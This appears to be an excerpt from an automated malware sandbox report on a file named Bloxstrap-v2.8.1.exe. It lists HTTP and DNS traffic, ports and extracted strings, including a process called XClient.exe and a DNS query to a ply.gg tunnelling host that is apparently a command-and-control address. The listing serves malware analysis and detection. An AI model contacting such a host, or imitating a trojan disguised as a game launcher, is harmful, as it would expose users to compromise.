Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: aka.ms
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: tell-outcome.gl.at.ply.gg
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: microsoftmscompoc.tt.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: w.usabilla.com
Source: global traffic	DNS traffic detected: DNS query: d6tizftlrpuof.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: westus2-0.in.applicationinsights.azure.com

Source: chromecache_140.5.dr, chromecache_131.5.dr	String found in binary or memory: http://angularjs.org
Source: Unconfirmed 798106.crdownload.3.dr	String found in binary or memory: http://appsyndication.org/2006/appsynapplicationd:
Source: chromecache_140.5.dr, chromecache_131.5.dr	String found in binary or memory: http://errors.angularjs.org/1.6.5/
Source: chromecache_111.5.dr, chromecache_121.5.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://schemas.lepo.co/wpfui/2022/xaml
Source: XClient.exe, 00000002.00000002.4407903972.0000000002151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/.
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/F
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/asset/?id=114046169-
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/asset/?id=133573871-
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: http://www.roblox.com/asset/?id=1699715537.
Source: Bloxstrap-v2.8.1.exe, Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?You
Source: Bloxstrap-v2.8.1.exe, 00000001.00000003.1744682195.000001CDA4C28000.00000004.00000020.00020000.00000000.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745168827.000001CDA4C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0
Source: Bloxstrap-v2.8.1.exe, Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745038903.000001CDA4BDF000.00000004.00000020.00020000.00000000.sdmp, Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed&gui=trueShowing
Source: Bloxstrap-v2.8.1.exe, 00000001.00000002.1745038903.000001CDA4BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet/app-launch-faileda.ms/dotnet/app-launch-failed
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://api.github.com/repos/bloxstraplabs/bloxstrap/releases/latest
Source: chromecache_102.5.dr, chromecache_107.5.dr	String found in binary or memory: https://api.usabilla.com/v2/f/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://assetdelivery.roblox.com/v1/asset/?id=EDiscordRichPresence::SetVisibility;Setting
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://bloxstraplabs.com
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://bloxstraplabs.com)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://bloxstraplabs.com/metrics/post-exception
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://bloxstraplabs.com/metrics/post?key=
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://clientsettings.roblox.comKDeserialised
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://clientsettingscdn.roblox.com
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://create.roblox.com/docs/environment/post-processing-effects
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://crowdin.com/project/bloxstrap
Source: chromecache_102.5.dr, chromecache_107.5.dr	String found in binary or memory: https://d6tizftlrpuof.cloudfront.net/live/resources/throbber.gif)
Source: chromecache_102.5.dr, chromecache_107.5.dr	String found in binary or memory: https://d6tizftlrpuof.cloudfront.net/live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/
Source: chromecache_102.5.dr, chromecache_107.5.dr	String found in binary or memory: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6e
Source: chromecache_136.5.dr	String found in binary or memory: https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://discord.gg/nKjV3mGq6R
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://games.roblox.com/v1/games?universeIds=cRoblox
Source: chromecache_129.5.dr	String found in binary or memory: https://getbootstrap.com/)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/0xFE0F)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/1011025m)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/AskaLangly)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/BlueOutside)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/CubesterYT)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/DaMlgNoodle)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/EasternBloxxer)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Encythe)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/EpixScripts)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Extravi)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/GoingCrazyDude)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Lachee/discord-rpc-csharp/blob/master/LICENSE
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Luximoz)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Mantaraix)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/MaximumADHD)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/MaximumADHD/Roblox-Studio-Mod-Manager/blob/main/LICENSE
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/MehKako)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/NikSavchenk0)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/Redusofficial)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/ShadowCodeX-debug)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/TheRealSpriteMan1337)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/apprehensions)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/axellse)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/axstin)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/blob/main/LICENSE
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/commit/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/issues
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/issues/new
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/releases/latest
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#dpi-scaling-fixes
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#exclusive-fullscreen
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#framerate-limit
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#gui-hiding
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/A-guide-to-FastFlags#preferred-lighting-technology
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Adding-custom-mods
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Bloxstrap-is-unable-to-download-Roblox
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Bloxstrap-is-unable-to-download-Roblox)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Discord-Rich-Presence-does-not-work
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Information-on-Roblox-app-localisation
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Privacy-Policy#analytical-functionality
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Release-notes-for-Bloxstrap-v
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Roblox-crashes-or-does-not-launch
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Switching-between-Roblox-and-Bloxstrap
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/Using-Roblox-icons-for-your-shortcuts
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F#discord-rich-presence
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F#dont-exit-to-desktop-ap
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wiki/What-is-activity-tracking%3F#server-location-queryin
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/bloxstrap/wikijhttps://github.com/bloxstraplabs/bloxstrap/issues/ne
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bloxstraplabs/rbxcustom-fontemojis/releases/download/my-phone-is-78-percent/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/bluepilledgreat)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/carter0nline)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/cub-has-injected)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/exurd)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/fxeP1)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/googlefonts/rubik)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/he3als)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/hugo9655)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/icsharpcode/SharpZipLib/blob/master/LICENSE.txt
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/knivesofeylis)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/lepoco/wpfui/blob/main/LICENSE
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/lolmanurfunny)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/ms-gitblox)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/nakoyasha)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/securifybv/ShellLink/blob/master/LICENSE.txt
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/sha4owz)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/sitiom)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/srthMD)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/swatTurret)
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://github.com/xoofx/markdig/blob/master/license.txt
Source: chromecache_99.5.dr, chromecache_132.5.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1MmB8?ver=6c43g
Source: chromecache_99.5.dr, chromecache_132.5.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://ipinfo.io
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://ipinfo.io/
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://ko-fi.com/boxerpizza
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/bloxstraplabs/config/main/assets/;ActivityWatcher::ReadLogEntry
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/bloxstraplabs/config/main/supporters.jsonCAboutViewModel::LoadSupp
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://roblox-setup.cachefly.net
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://roblox.com/asset/?id=460805434)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://s3.amazonaws.com/setup.roblox.com7Bloxstrap.Resources.Strings)About.Licenses.Title9About.Sup
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://scripts.sil.org/OFLRubik-LightVersion
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://scripts.sil.org/OFLThis
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://setup-ak.rbxcdn.com
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://setup.rbxcdn.com9https://setup-aws.rbxcdn.com
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://status.roblox.com)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://thumbnails.roblox.com/v1/games/icons?universeIds=
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://users.roblox.com/v1/users/cRoblox
Source: chromecache_102.5.dr, chromecache_107.5.dr	String found in binary or memory: https://w.usabilla.com/a/t?m=b&b=
Source: chromecache_135.5.dr, chromecache_94.5.dr	String found in binary or memory: https://www.clarity.ms/tag/51xi6lo2qb
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com//a$
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/games/GDiscordRichPresence::UpdatePresence7Presence
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/groups/32380007/Bloxstrap
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/users/129425241/profile)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/users/158082266/profile)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/users/2485612194/profile)
Source: Bloxstrap-v2.8.1.exe.0.dr	String found in binary or memory: https://www.roblox.com/users/923416649/profile)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
